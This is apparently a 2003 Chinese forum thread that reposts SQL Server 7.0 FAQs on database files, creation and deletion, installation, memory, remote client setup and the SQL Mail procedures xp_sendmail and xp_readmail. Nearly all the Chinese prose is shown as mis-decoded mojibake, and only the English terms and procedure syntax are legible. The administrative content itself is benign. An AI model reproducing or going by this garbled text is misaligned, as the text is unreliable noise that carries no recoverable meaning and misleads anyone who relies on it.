¿ÉÒԵģ¬µ«ÊDz»½¨ÒéÈç´Ë×ö£¬Èç¹ûÒª½«Êý¾Ý¿â±¸·Ýµ½Ñ¹Ëõ¾í£¬ÇëÔÚ±¸·Ý֮ǰºÍ»Ö¸´Ö®ºóÖ´ÐÐDBCC¡£

½«·¢²¼µÄÊý¾Ý¿âµÄ±¸·Ý»Ö¸´µ½Ò»Ì¨Ã»ÓÐ×ö¸´ÖƵÄSQL Server 7.0Öе¼ÖÂÊÂÎñÈÕÖ¾±êʾΪ¸±±¾£¨replication£©£¬ÈçºÎ½â¾ö£¿

¿ÉÒÔ²ÎÕÕÏÂÁÐÁ½ÖÖ·½·¨£º

¿ÉÄܵĻ°£¬±¸·Ý·¢²¼µÄÊý¾Ý¿â֮ǰÏȽ«ÆäÈ¡Ïû·¢²¼¡£
»Ö¸´Ö®Ç°£¬ÔÚÄ¿±êÊý¾Ý¿âÖÐÉèÖ÷¢²¼¡£
ʲôÊDzîÒ챸·Ý£¨differential backup£©£¿

²îÒ챸·ÝÊÇSQL Server 7.0ÌṩµÄй¦ÄÜ£¬²îÒ챸·ÝÖ»¼Ç¼ÉÏ´ÎÍêÈ«±¸·ÝÖ®ºóËù×öµÄ±ä»¯¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 13:06
Microsoft SQL Server 7.0Êý¾Ý¿âµÄ´´½¨Óë¹ÜÀí

---Õª×Ô¡¶ASP¶¯ÍøÏÈ·æ¡·
SQL Server 6.XʹÓÃÉ豸£¨device£©´æ´¢Êý¾Ý¿â£¬Ã¿¸öÉ豸Ϊ²Ù×÷ϵͳÉϵÄÒ»¸ö´ÅÅÌÎļþ£¬ SQL Server 7.0ÊÇ·ñÒ²ÊÇÕâÑù£¿²»ÊÇ¡£SQL Server 7.0µÄÊý¾Ý¿â²»ÔÙʹÓÃÉ豸´æ´¢£¬ SQLServer 7.0ÿ¸öÊý¾Ý¿âÖÁÉÙÐèÒªÁ½¸öÎļþ£¨Êý¾ÝºÍÈÕÖ¾£©£¬Êý¾ÝºÍÈÕÖ¾ÎÞ·¨¹²ÏíÒ»¸öÎļþ£¬²¢ÇÒÿ¸öÎļþÖ»ÄܸøÒ»¸öÊý¾Ý¿âʹÓã¬ÎÞ·¨¹²Ïí¡£

´æ·ÅSQL Server 7.0Êý¾Ý¿âµÄ´ÅÅÌÎļþÓÐÄļ¸ÖÖ£¿

mdf£º´æ·Åϵͳ±í¸ñºÍÊý¾Ý£¬Ã¿¸öÊý¾Ý¿âÖÁÉÙÒªÓÐÒ»¸ömdf£¬²¢ÇÒÖ»ÄÜÓÐÒ»¸ö¡£

ndf£º´æ·ÅÊý¾Ý£¬ÎÞ·¨´æ·Åϵͳ±í¸ñ£¬Ò»¸öÊý¾Ý¿â¿ÉÒÔÓÐÈô¸É¸öndfÎļþ¡£

ldf£º´æ·ÅÈÕÖ¾£¬¿ÉÒÔÓÐÈô¸É¸ö¡£

SQL Server 7.0´´½¨Êý¾Ý¿âµÄ·½·¨ÓÐÄļ¸ÖÖ£¿

ʹÓÃÊý¾Ý¿â´´½¨Ïòµ¼£¨Database Creation Wizard£©¡£
SQL ServerÆóÒµ¹ÜÀí³ÌÐò£¨Enterprise Manger£©ÌṩµÄͼÐÎÓû§½Ó¿Ú¡£
ʹÓÃCREATE DATABASEÓï¾ä¡£
Çë¸ø³öÒ»¸öʹÓô´½¨Êý¾Ý¿âÏòµ¼£¨Create Database Wizard£©´´½¨Êý¾Ý¿âµÄÀý×Ó£¿

Æô¶¯SQL ServerÆóÒµ¹ÜÀí³ÌÐò£¨Enterprise Manager£©£¬Ñ¡ÔñÄúÒª´´½¨Êý¾Ý¿âµÄSQL Server¡£
ÓÉ¡¸Tools¡¹²Ëµ¥µãÑ¡Ôñ¡¸Wizards...¡¹£¬ÔÚ¡¸Select Wizard¡¹¶Ô»°¿òÕ¹¿ªdatabase¹¤³Ì£¬Ñ¡ÔñCreate Databse Wizard£¬È»ºó°´¡¸OK¡¹°´Å¥¡£
ÔÚCreate Database WizardµÄ»¶Ó­»­ÃæÖа´¡¸ÏÂÒ»²½¡¹°´Å¥¡£
ÊäÈëÊý¾Ý¿âÃû³Æ¡¢´æ·ÅÊý¾ÝµÄÎļþ¼°´æ·ÅÈÕÖ¾µÄÎļþ·¾¶£¬°´¡¸ÏÂÒ»²½¡¹°´Å¥¡£
ϵͳԤÉèÊý¾ÝÎļþÃû³ÆΪ_data£¬ÊäÈëÎļþÃû£¬°´¡¸ÏÂÒ»²½¡¹°´Å¥¡£
É趨Êý¾ÝÎļþÊÇ·ñ×Ô¶¯Ôö¼Ó£¨auto grow£©ºÍ×î´óÖµ£¬°´¡¸ÏÂÒ»²½¡¹°´Å¥¡£
ϵͳԤÉèÈÕÖ¾ÎļþÃû³ÆΪ_log£¬ÊäÈëÎļþÃû£¬°´¡¸ÏÂÒ»²½¡¹°´Å¥¡£
É趨ÈÕÖ¾ÎļþÊÇ·ñ×Ô¶¯Ôö¼ÓºÍ×î´óÖµ£¬°´¡¸ÏÂÒ»²½¡¹°´Å¥¡£
ϵͳÏÔʾÊý¾Ý¿âÉèÖÃÍê³É£¬°´¡¸Íê³É¡¹°´Å¥£¬³öÏÖÊÇ·ñ´´½¨Êý¾Ý¿âά»¤¼Æ»®£¨datbase maintenance plan£©£¬°´¡¸No¡¹°´Å¥¡£
Õ¹¿ªdatabaseÎļþ¼Ð£¬ÐµÄÊý¾Ý¿âÒÑ´´½¨¡£
Çë¸ø³öÒ»¸öʹÓÃSQL Server Enterprise Manger´´½¨Êý¾Ý¿âµÄÀý×Ó£¿

¼¤»î¡¸SQL Server Enterprise Manager¡¹£¬Ñ¡ÔñÒª´´½¨Êý¾Ý¿âµÄSQL Server¡£
Ñ¡ÔñdatabaseÎļþ¼Ð£¬°´Êó±êÓÒ¼ü£¬Ñ¡Ôñ²Ëµ¥Öеġ¸New Database...¡¹¡£
·Ö±ðÑ¡ÔñGeneralºÍTransaction log¾í±ê£¬ÊäÈëÏà¹ØÐÅÏ¢¡£
ÈçºÎʹÓÃCREATE DATABASEÓï¾ä½¨Á¢Êý¾Ý¿â£¿

Çë²Î¿¼SQL Server 7.0Áª»úÊé¼®£¬"CREATE DATABASE(T-SQL)"Îļþ¡£

ÈçºÎÔö¼ÓÊý¾Ý¿âµÄ´óС£¿

ÉèÖÃÎļþ×Ô¶¯Ôö¼Ó£¨automatic file growth£©¡£
Ôö¼ÓÊý¾Ý¿âÎļþ´óС¡£
ÁíÍâÔö¼ÓÊý¾Ý¿âÎļþ´æ·ÅÎļþ£¨ÔÙÔö¼ÓÒ»¸öndfÎļþ£©¡£
ÈçºÎËõСÊý¾Ý¿âµÄ´óС£¿

ËõСÕû¸öÊý¾Ý¿â£ºÈçDBCC SHRINKDATABASEËõСijһÊý¾Ý¿âÎļþ´óС£ºÈçDBCC SHRINKFILEÉèÖÃ×Ô¶¯ËõСÊý¾Ý¿â¡£

ÈçºÎɾ³ýÊý¾Ý¿â£¿

ʹÓÃSQL Server Enterprise MangerÌṩµÄͼÐÎÓû§½Ó¿Ú¡£Ê¹ÓÃDROP DATABASEÓï¾ä¡£

ɾ³ýÊý¾Ý¿âµÄ×¢ÒâÊÂÏîÓÐÄÄЩ£¿

ʹÓÃSQL Server Enterprise MangerÌṩµÄͼÐÎÓû§½Ó¿ÚÒ»´ÎÖ»ÄÜɾ³ýÒ»¸öÊý¾Ý¿â¡£Ê¹ÓÃDROP DATABASEÓï¾ä¿Éͬʱɾ³ý¶à¸öÊý¾Ý¿â£¬Èç
DROP DATABASE db1,db2,db3
ɾ³ýÊý¾Ý¿âºó£¬Èç¹ûÓеǼIDÔ¤ÉèµÄÊý¾Ý¿âÒò´Ë¶ø±»É¾³ýÊý¾Ý¿â£¬ ÄÇô¸ÃµÇ¼IDÓ¦½«ÆäÔ¤ÉèÊý¾Ý¿â¸ÄΪÖ÷Êý¾Ý¿â£¨master database£©¡£É¾³ýÊý¾Ý¿âºó£¬ÇëÁ¢¼´±¸·ÝÖ÷Êý¾Ý¿â¡£

ÎÞ·¨É¾³ýÊý¾Ý¿â¿ÉÄܵÄÔ­Òò£¿

´ËÊý¾Ý¿âÕýÔÚ»Ö¸´¡£
ÓÐÓû§ÕýÔÚʹÓôËÊý¾Ý¿â¡£
´ËÊý¾Ý¿â²¿·Ö±í¸ñΪ¸±±¾¡£
ÓÐÄÄЩ·½·¨¿ÉÒÔʹÊý¾Ý¿âÓнϺõÄÐÔÄÜ£¿

ʹÓÃRAID¡£
½«Êý¾ÝºÍÈÕÖ¾·ÅÔÚ²»Í¬µÄ´ÅÅÌÇý¶¯Æ÷ÖС£
ʹÓÃFilegroups½«¶ÔÏó·ÅÖÃÔÚ²»Í¬µÄ´ÅÅÌÇý¶¯Æ÷ÖС£
¹ÜÀíÊý¾Ý¿âµÄһЩעÒâÊÂÏîÓÐÄÄЩ£¿

½«Êý¾ÝºÍÈÕÖ¾·ÅÔÚ²»Í¬´ÅÅÌÇý¶¯Æ÷£º³ýÁË¿ÉÒԵõ½½ÏºÃµÄÐÔÄÜÍ⣬Èç¹ûÊý¾ÝËùÔڵĴÅÅÌÇý¶¯Æ÷»µÁË£¬»¹¿ÉÒÔ±¸·ÝÈÕÖ¾»Ö¸´Êý¾Ý¡£
½ûÓôÅÅÌ¿ØÖÆÆ÷£¨disk controller£©µÄд»º´æ£¨write-cahcing£©¹¦ÄÜ£º³ý·Çд»º´æµÄÉè¼ÆÖ§³ÖÊý¾Ý¿â·þÎñÆ÷¡£
¶¨ÆÚ±¸·ÝÖ÷Êý¾Ý¿â£º´ËÍâÌí¼Ó¡¢É¾³ý»òÐÞ¸ÄÊý¾Ý¿âºóÒ²Ó¦¸ÃÁ¢¼´±¸·ÝÖ÷Êý¾Ý¿â¡£
ÈÕÖ¾ÒªÓÐ×ã¹»µÄ¿Õ¼ä£º¿ÉÒÔÑ¡Ôñ×Ô¶¯Ôö¼Ó£¨automatic growth£©£¬×Ô¶¯Ôö¼ÓÎļþ´óС»òÉ趨±¨¾¯Í¨Öª¡£
SQL Sever 7.0Ô¤ÉèµÄÊý¾ÝÈÕÖ¾´óС±ÈÀýΪ¶àÉÙ£¿

3:1£¬¼´Êý¾ÝÕ¼Êý¾Ý¿â3/4£¬ÈÕÖ¾Õ¼Êý¾Ý¿â1/4¡£

ÊÇ·ñ¿ÉÒÔͬʱ¶ÔÊý¸öÊý¾Ý¿â½øÐÐÉèÖã¿

²»ÐУ¬Èç¹ûÏëÐÞ¸ÄĬÈÏÖµ£¬Çë¸ü¸ÄÄ£ÐÍÊý¾Ý¿â£¨model database£©£¬µ«ÊÇÖ»Óиü¸ÄÁËÄ£ÐÍÊý¾Ý¿âµÄÉèÖúóÐÂÌí¼ÓµÄÊý¾Ý¿â²ÅÓÐЧ¡£

SQL Server 7.0ÊÇ·ñ¿É½«tempdb·ÅÖÃÔÚRAMÖУ¿

²»¿ÉÒÔ¡£

SQL Server 7.0ÓÐÄÄЩÐÂÔöµÄÊý¾Ý¿âÑ¡Ï

Autoclose£¨×Ô¶¯¹Ø±Õ£©£ºµ±ËùÓÐÓû§¶¼Í˳öÊý¾Ý¿âʱ£¬×Ô¶¯¹Ø±Õ¸ÃÊý¾Ý¿â£¬²¢ÊͷŸÃÊý¾Ý¿âʹÓõÄ×ÊÔ´¡£

Autoshrink£¨×Ô¶¯ÉìËõ£©£ºÉèÖÿÉ×Ô¶¯ËõСÊý¾Ý¿â£¬SQL ServerÆô¶¯5·ÖÖÓºó»á×Ô¶¯¼ì²éÊÇ·ñÐèÒªËõСÊý¾Ý¿â£¬´Ëºóÿ30·ÖÖÓ¼ì²éÒ»´Î ¡£

ANSI nulls£¨ANSI¿ÕÖµ£©£º ½«Ä¬ÈÏÖµÉèΪnull£¨¿Õ£©»ònot null£¨·Ç¿Õ£©¡£

ANSI warning£¨ANSI¾¯¸æ£©£ºµ±É趨³Étrueʱ£¬Óöµ½"divide by zero£¨±»0³ý£©"ʱ»á·¢³ö¾¯¸æ ¡£

quoted identifier£¨ÒýÓñêÖ¾·û£©£ºÉèÖÃÒýÓñêÖ¾£¨quotation mark£©µÄʹÓ÷½Ê½ÊÇ·ñ¸´ºÏANSI ¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 13:06
Microsoft SQL Server°²×°Ê¾Àý

---Õª×Ô¡¶ASP¶¯ÍøÏÈ·æ¡·
¡¾¡¸Microsoft SQL Server 7.0¡¹ÒÔϼò³Æ¡¸SQL Server 7.0¡¹¡¿Çë¸ø³öÒ»¸öÔÚÖÐÎÄWindows NT Server 4.0°²×°SQL Server 7.0µÄʾÀý?1.ΪSQL Server 7.0´´½¨Ò»¸öÕʺÅ:ÒÔÓò¹ÜÀíÔ±£¨Domain Administrator£©µÇ¼£¬Æô¶¯ÓòÓû§¹ÜÀíÆ÷£¬Ñ¡Ôñ²Ëµ¥"Óû§"ÖеÄ"Ìí¼ÓÓû§"¡£
)ÊäÈëÓû§ÐÅÏ¢£¬ÈçÓû§Ãû³ÆΪSQLService£¬²¢ÉèÓû§²»µÃ±ä¸üÃÜÂëÇÒÃÜÂëÓÀ¾ÃÕýÈ·£¨ÆäËüÁ½ÏҪѡ£©¡£
½«´ËÓû§(Óò\SQL·þÎñ)¼ÓÈëµ½¹ÜÀíÔ±×éÖУ¬Èç¹ûÒª°²×°SQL ServerµÄ¼ÆËã»ú²»ÊÇÓò¿ØÖÆÆ÷£¬ÏÈÒÔ±¾µØ¹ÜÀíÔ±µÇ¼±¾»ú£¬Éè¸ÃÓû§ÊôÓÚAdmins×é¡£
ÉèÖøÃÓû§ÔÚ°²×°SQL ServerµÄ¼ÆËã»úÉÏÓµÓÐ"ÒÔ·þÎñ·½Ê½µÇ¼"µÄÓû§È¨Á¦¡£
2.°²×°SQL ServerÈí¼þ£º

·ÅÈëSQLServer 7.0¹âÅÌ£¬»òÆô¶¯¹âÅÌÖеÄautorun.exe¡£
Èç¹ûÄúµÄWindows NT 4.0ÒÑ°²×°Service Pack4ºÍInternet Explorer 4.01 Service Pack 1£¬¿ÉÒÔÖ±½ÓÓÃÊó±êÑ¡Ôñ"Install SQL Server 7.0 Components£¨°²×°SQL Server 7.0×é¼þ£©"
³öÏÖ¡¸Install SQL Server 7.0 Components¡¹ Ñ¡ÏѡÔñ¡¸Database Server- Standard Edition¡¹¡£
³öÏÖ¡¸Select Install Method¡¹¶Ô»°¿ò£¬Ñ¡Ôñ¡¸Local Install -Install to the Local Machine¡¹£¬µ¥»÷¡¸Next¡¹°´Å¥¡£
³öÏÖ¡¸Welcome¡¹¶Ô»°¿ò£¬µ¥»÷¡¸Next¡¹°´Å¥¡£
³öÏÖ¡¸Software License Agreement¡¹¶Ô»°¿ò£¬µ¥»÷¡¸Yes¡¹°´Å¥¡£
³öÏÖ¡¸User Information¡¹¶Ô»°¿ò£¬ÇëÊäÈëÄúµÄÐÕÃûºÍ¹«Ë¾Ãû³Æ£¬È»ºóµ¥»÷¡¸Next¡¹°´Å¥¡£
³öÏÖ¡¸Setup Type¡¹¶Ô»°¿ò£¬¹²ÓÐÈýÖÖ°²×°ÀàÐÍ£¬µäÐÍ£¨Typical£©¡¢×îС»¯£¨Minimum£©ºÍ×Ô¶¨Ò壨Customer£©£¬ÇëÑ¡Ôñ¡¸Custom¡¹£¬´ËÍâSQLServer 7.0Ô¤ÉèµÄ³ÌÐòÎļþ¼°Êý¾ÝÎļþ·¾¶Îª\msql7£¬¿Éµ¥»÷¡¸Browse¡­¡¹°´Å¥Ð޸ġ£µ¥»÷¡¸Next¡¹°´Å¥¼ÌÐø°²×°¡£
³öÏÖ¡¸Select Components¡¹¶Ô»°¿ò£¬Ñ¡ÔñÄúÒª°²×°µÄÏîÄ¿ºó£¬µ¥»÷¡¸Next¡¹°´Å¥¡£
³öÏÖ¡¸Character Set/Sort Order/Unicode Collation¡¹¶Ô»°¿ò£¬Ê¹ÓÃĬÈÏÖµÉèÖ㬵¥»÷¡¸Next¡¹°´Å¥¡£
¸½×¢:×Ö·û¼¯ÎªÖÐÎļòÌ壬ÅÅÐò´ÎÐòΪ×Öµä´ÎÐò£¬´óСдÃô¸Ð(NT³ýÍâ)£¬Èç¹û´ËSQL Server7.0½«À´Òª½«SQL Server 6.XÊý¾Ý¿âת»»ÎªSQL 7.0Êý¾Ý¿â£¬Ôò×Ö·û¼¯ºÍÅÅÐò´ÎÐòµÄÉèÖÃÒªÓëSQL Server 6.XÊý¾Ý¿âËùÔÚµÄSQL Server 6.xÉèÖÃÏàͬ¡£
³öÏÖ¡¸Network Libraries¡¹¶Ô»°¿ò£¬ÇëÒÀĬÈÏÖµÉ趨ѡÔñNamed piped¡¢TCP/IP SocketsÒÔ¼°Multi- ProtocolÈýÏîºó£¬µ¥»÷¡¸Next¡¹°´Å¥¡£
³öÏÖ¡¸Services Accounts¡¹¶Ô»°¿ò£¬Ñ¡Ôñ¡¸Use the same account for each service. Auto start SQL Server Service¡¹¼´SQL Server¼°SQL Server AgentʹÓÃͬһÕʺţ¬²¢ÔÚ¡¸Service Settings¡¹ÖУ¬Ñ¡Ôñ¡¸User a Domain User Account¡¹£¬ÌîÈëUsername¡¢Password¼°Domain£¨ÈçÏÈÇ°É趨µÄSQLService£©£¬µ¥»÷¡¸Next¡¹°´Å¥¡£
³öÏÖ¡¸Start Copying Files¡¹¶Ô»°¿ò£¬±íʾ°²×°³ÌÐòÒÑÊÕ¼¯ËùÐèÐÅÏ¢£¬µ¥»÷¡¸Next¡¹°´Å¥¡£
³öÏÖ¡¸Ñ¡ÔñʹÓÃȨģʽ¡¹¶Ô»°¿ò£¬ÉèÖá¸Ã¿Ò»·þÎñÆ÷(Per Server)¡¹»ò¡¸Ã¿Ò»×ùλ(Per Seat)¡¹£¬ÔÙµ¥»÷¡¸ ¼ÌÐø¡¹°´Å¥£¬ÔÚ¡¸Ã¿Ò»·þÎñÆ÷¡¹Ê¹ÓÃȨ»ò¡¸Ã¿Ò»»ù×ù¡¹Ê¹ÓÃȨµÄ»­ÃæµãÑ¡¡¸ÎÒͬÒ⡹£¬ÔÙµ¥»÷¡¸È·¶¨¡¹°´Å¥¡£
°²×°³ÌÐò»á½«Îļþ¸´ÖƵ½¼ÆËã»ú¡£
°²×°ÍêÈ«ºóÇëÖØÆô¼ÆËã»ú¡£
Çë¸ø³öÔÚÖÐÎÄÔÚÖÐÎÄWindows 98Öа²×° SQL Server 7.0µÄʾÀý?

·ÅÈëSQL Server 7.0¹âÅÌ£¬»òÆô¶¯¹âÅÌÖеÄautorun.exe¡£
ÓÃÊó±êµ¥»÷¡¸Install SQL Server 7.0 Components¡¹
³öÏÖ¡¸Install SQL Server 7.0 Components¡¹ Ñ¡ÏѡÔñ¡¸Database Server- Desktop Edition¡¹¡£
³öÏÖ¡¸Welcome¡¹¶Ô»°¿ò£¬µ¥»÷¡¸Next¡¹°´Å¥¡£
³öÏÖ¡¸Software License Agreement¡¹¶Ô»°¿ò£¬µ¥»÷¡¸Yes¡¹°´Å¥¡£
³öÏÖ¡¸User Information¡¹¶Ô»°¿ò£¬ÇëÊäÈëÄúµÄÐÕÃûºÍ¹«Ë¾Ãû³Æ£¬È»ºóµ¥»÷¡¸Next¡¹°´Å¥¡£
³öÏÖ¡¸Setup Type¡¹¶Ô»°¿ò£¬¹²ÓÐÈýÖÖ°²×°ÀàÐÍ£¬Typical¡¢Minimum¼°Customer£¬ÇëÑ¡Ôñ¡¸Custom¡¹£¬´ËÍâSQLServer 7.0Ô¤ÉèµÄ³ÌÐòÎļþ¼°Êý¾ÝÎļþ¾ùÔÚ\msql7£¬Äú¿Éµ¥»÷¡¸Browse¡­¡¹°´Å¥½øÐÐÐ޸ġ£µ¥»÷¡¸Next¡¹°´Å¥¼ÌÐø°²×°¡£
³öÏÖ¡¸Select Components¡¹¶Ô»°¿ò£¬Ñ¡ÔñÄúÒª°²×°µÄÏîÄ¿ºó£¬µ¥»÷¡¸Next¡¹°´Å¥¡£
³öÏÖ¡¸Character Set/Sort Order/Unicode Collation¡¹¶Ô»°¿ò£¬Ê¹ÓÃĬÈÏÖµÉèÖ㬵¥»÷¡¸Next¡¹°´Å¥¡£
¸½×¢:Character Set£ºÖÐÎļòÌ壬ÅÅÐò´ÎÐò£¨×Öµä´ÎÐò£¬´óСдÃô¸Ð(NT³ýÍâ)£©¡£
³öÏÖ¡¸Network Libraries¡¹¶Ô»°¿ò£¬Ê¹ÓÃĬÈÏÉèÖã¬Ñ¡ÔñTCP/IP SocketsÒÔ¼°Multi-ProtocolÈýÏîºó£¬µ¥»÷¡¸Next¡¹°´Å¥£¬ÖÁ´Ë°²×°³ÌÐòÒÑÊÕ¼¯°²×°ÐÅÏ¢£¬µ¥»÷¡¸Next¡¹°´Å¥£¬°²×°³ÌÐò»á½«Îļþ¸´ÖƵ½¼ÆËã»ú¡£
°²×°ÍêÈ«ºóÇëÖØÆô¼ÆËã»ú¡£
Çë¸ø³ö°²×°SQL Server 7.0¿Í»§¶Ë¹¤¾ßµÄʾÀý?

°²×°SQL Server 7.0¿Í»§¶Ë¹¤¾ßÓë°²×°SQL Server 7.0µÄ°²×°¹ý³ÌÏàͬ£¬¿ÉÒԲο¼Ç°ÃæµÄ"ÔÚÖÐÎÄWindows NT Server 4.0Öа²×°SQL Server 7.0µÄ·¶Àý"£¬Ñ¡ÔñÓû§×Ô¶¨Òå°²×°·½Ê½£¬ÔÚ²½Öè9¡¸Select Components¡¹¶Ô»°¿òÖÐÈ¡Ïû Server ComponentsÑ¡Ïî
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 13:07
SQL ServerµÄÍƼöÄÚ´æÈÝÁ¿Îª¶àÉÙ£¿

---Õª×Ô»¥ÁªÍø
SQL Serve×î¶àÔÊÐíʹÓÃ2GBÐéÄâÄÚ´æ¡£Windows NT Ϊÿ¸ö32λWindowsÓ¦ÓóÌÐòÌṩ4GBµÄÐéÄâÄÚ´æ¿Õ¼ä£¬ Õâ4GBÄÚ´æÖеͶ˵Ä2GBÊÇÕâ¸ö½ø³ÌµÄ˽Óпռ䣬¸ß¶ËµÄ2GBΪϵͳËùÓá£Windows NTÐéÄâÄÚ´æ¹ÜÀíÆ÷(VMM)½«4GBµØÖ·¿Õ¼äÓ³É䵽ʵ¼ÊÎïÀíÄÚ´æÖС£Êµ¼ÊÎïÀíÄÚ´æ×î¶à¿ÉΪ4GB£¬ÕâÈ¡¾öÓÚÓ²¼þƽ̨¡£

ÏñSQL ServerÕâÑùµÄ32λWindowsÓ¦ÓóÌÐòֻʶ±ðÐéÄâ»òÕß˵Âß¼­µØÖ·£¬¶ø²»ÊÇÎïÀíµØÖ·¡£ ÔÚijһȷ¶¨Ê±¼äÒ»¸öÓ¦ÓóÌÐòµ½µ×¿ÉÒÔʹÓöàÉÙÎïÀíÄÚ´æÈ¡¾öÓÚʵ¼ÊÎïÀíÄÚ´æ´óС¼°VMM¡£ Ó¦ÓóÌÐò²»ÄÜÖ±½Ó¿ØÖÆÄÚ´æµÄ·ÖÅä¡£

Windows NTµÄÐéÄâµØַϵͳÔÊÐíÐéÄâÄÚ´æÓëʵ¼ÊÎïÀíÄÚ´æÖ®±È´óÓÚ1:1¡£ Òò´Ë£¬ ´óÐÍÓ¦ÓóÌÐò¿ÉÒÔÔÚ¸÷ÖÖÓ²¼þϵͳÅäÖÃÌõ¼þÏÂÔËÐС£È»¶ø£¬ÔÚ¾ö´ó¶àÊýÇé¿öÏ£¬Èç¹ûϵͳÐéÄâÄÚ´æÔ¶Ô¶´óÓÚÔËÐеÄËùÓÐÓ¦ÓóÌÐòËùÓõÄϵͳÄÚ´æ×ܺͣ¬ÏµÍ³ÐÔÄܽ«´ó´òÕÛ¿Û¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 13:08
ÔÚ±¾µØ¹ÜÀíÔ¶³ÌSQL SERVER·þÎñÆ÷

---Õª×Ô¡¶ChinaASPÍøÂç¡·£¨ÎÄ/water£©
Ç°¼¸ÌìÓв»ÉÙÈËÎÊÎÒ¹ØÓÚÔÚ±¾µØ·ÃÎÊÔ¶³Ì·þÎñÆ÷µÄÎÊÌ⣬ÔÚÕâÀï×ܽáÁËһϣ¬Ï£ÍûÄܸø´ó¼ÒÒ»µã°ïÖú¡£

ÒªÏë·ÃÎÊÔ¶³ÌµÄSQL SERVER·þÎñÆ÷£¬Ê×ÒªµÄÌõ¼þÊDZ¾µØµÄ»úÆ÷ÉÏ°²×°ÁËSQL SERVERµÄCLIENTÈí¼þ¡£SQL CLIENT°²×°Ê¹ÓÃSQL SERVER°²×°ÅÌ£¬Ñ¡Ôñ×Ô¶¨Òå°²×°£¬È»ºóÔÚÁбíÖÐֻѡÔñCLIENT¡£

µÚ¶þ¾ÍÊÇÐèÒªÒ»¸öÄܹ»Õý³£·ÃÎÊ·þÎñÆ÷µÄSQLÕʺš£ÐèҪעÒâµÄÊDZð°ÑSQLÕʺźÍNTÕʺŸøŪ»ìÁË¡£SQLÕʺſÉÒÔͨ¹ýENTERPRISE MAMAGERÖеÄSECURITY£¨°²È«£©ÖеÄLOGINSÀ´¹ÜÀí£¬ÏµÍ³¹ÜÀíÕʺÅÊÇSA£¬Ä¬ÈÏûÓпÚÁî¡£

µÚÈý¾ÍÊÇÔÚ°²×°µÄSQL CLIENTÖÐÌí¼ÓÒª·ÃÎʵķþÎñÆ÷¡£CLIENT NETWORK UTILITY---ADD---·þÎñÆ÷±ðÃû¿ÉÒÔËæÒâд---Ñ¡ÔñЭÒ飨ÀýÈçTCP/IP£©---¼ÆËã»úÃûÊäÈë·þÎñÆ÷µÄIPµØÖ·---¶Ë¿ÚΪSQL SERVERµÄ¶Ë¿ÚºÅ£¬Ä¬ÈÏΪ1433¡£

µÚËÄÔÚENTERPRISEÖÐÓÃÌí¼Ó·þÎñÆ÷Ïòµ¼Ìí¼ÓÉÏÃæ×¢²áµÄ·þÎñ£¬Ò²¿ÉÔÚQUERY ANALYZERSÖÐÖ±½Óͨ¹ý±ðÃû·ÃÎÊ¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 13:09
ʹÓÃSQL MailÊÕ·¢ºÍ×Ô¶¯´¦ÀíÓʼþ

---Õª×Ô¡¶SQL±à³Ì¼¼ÇÉÕ¾¡·
SQL SERVERÌṩÁËͨ¹ýEXCHANGE»òOUTLOOKÊÕ·¢ÓʼþµÄÀ©Õ¹´æ´¢¹ý³Ì£¬ÏÂÃ潫Õ⼸¸ö¹ý³Ì¼òµ¥µÄ½éÉÜһϡ£

Ò»¡¢Æô¶¯SQL Mail

    xp_startmail @user,@password
        
            @userºÍ@password¶¼ÊÇ¿ÉÑ¡µÄ

    Ò²¿É´ò¿ªEnterprise ManagerÖеÄSupport Services£¬ÔÚSQL MailÉϵ¥»÷ÓÒ¼ü´ò¿ªÓÒ¼ü²Ëµ¥£¬È»ºó°´StartÀ´Æô¶¯

¶þ¡¢Í£Ö¹SQL Mail

    xp_stopmail

    Ò²¿ÉÓÃÉÏÊö·½·¨ÖеIJ˵¥ÀïµÄStopÀ´Í£Ö¹

Èý¡¢·¢ËÍÓʼþ

    xp_sendmail {[@recipients =] 'recipients [;...n]'}
        [,[@message =] 'message']
        [,[@query =] 'query']
        [,[@attachments =] attachments]
        [,[@copy_recipients =] 'copy_recipients [;...n]'
        [,[@blind_copy_recipients =] 'blind_copy_recipients [;...n]'
        [,[@subject =] 'subject']
        [,[@type =] 'type']
        [,[@attach_results =] 'attach_value']
        [,[@no_output =] 'output_value']
        [,[@no_header =] 'header_value']
        [,[@width =] width]
        [,[@separator =] 'separator']
        [,[@echo_error =] 'echo_value']
        [,[@set_user =] 'user']
        [,[@dbuse =] 'database']

    ÆäÖÐ@recipientsÊDZØÐèµÄ

    ²ÎÊý˵Ã÷£º

²ÎÊý ˵Ã÷
@recipients ÊÕ¼þÈË£¬ÖмäÓöººÅ·Ö¿ª
@message Òª·¢Ë͵ÄÐÅÏ¢
@query È·¶¨Ö´Ðв¢ÒÀ¸½ÓʼþµÄÓÐЧ²éѯ£¬³ý´¥·¢Æ÷ÖеIJåÈë±í¼°É¾³ý±íÍ⣬´Ë²éѯÄÜÒýÓÃÈκζÔÏó
@attachments ¸½¼þ
@copy_recipients ³­ËÍ
@blind_copy_recipients ÃÜËÍ
@subject ±êÌâ
@attach_results Ö¸¶¨²éѯ½á¹û×öΪ¸½¼þ·¢ËÍ
@no_header ²»·¢ËͲéѯ½á¹ûµÄÁÐÃû
@set_user ²éѯÁª½ÓµÄÓû§Ãû£¬Ä¬ÈÏΪGuset
@dbuse ²éѯËùÓõÄÊý¾Ý¿â£¬Ä¬ÈÏΪȱʡÊý¾Ý¿â

ËÄ¡¢ÔĶÁÓʼþÊÕ¼þÏäÖеÄÓʼþ

    xp_readmail [[@msg_id =] 'message_number'] [, [@type =] 'type' [OUTPUT]]
        [,[@peek =] 'peek']
        [,[@suppress_attach =] 'suppress_attach']
        [,[@originator =] 'sender' OUTPUT]
        [,[@subject =] 'subject' OUTPUT]
        [,[@message =] 'message' OUTPUT]
        [,[@recipients =] 'recipients [;...n]' OUTPUT]
        [,[@cc_list =] 'copy_recipients [;...n]' OUTPUT]
        [,[@bcc_list =] 'blind_copy_recipients [;...n]' OUTPUT]
        [,[@date_received =] 'date' OUTPUT]
        [,[@unread =] 'unread_value' OUTPUT]
        [,[@attachments =] 'attachments [;...n]' OUTPUT])
        [,[@skip_bytes =] bytes_to_skip OUTPUT]
        [,[@msg_length =] length_in_bytes OUTPUT]
        [,[@originator_address =] 'sender_address' OUTPUT]]

    ²ÎÊý˵Ã÷£º

²ÎÊý ˵Ã÷
@originator ·¢¼þÈË
@subject Ö÷Ìâ
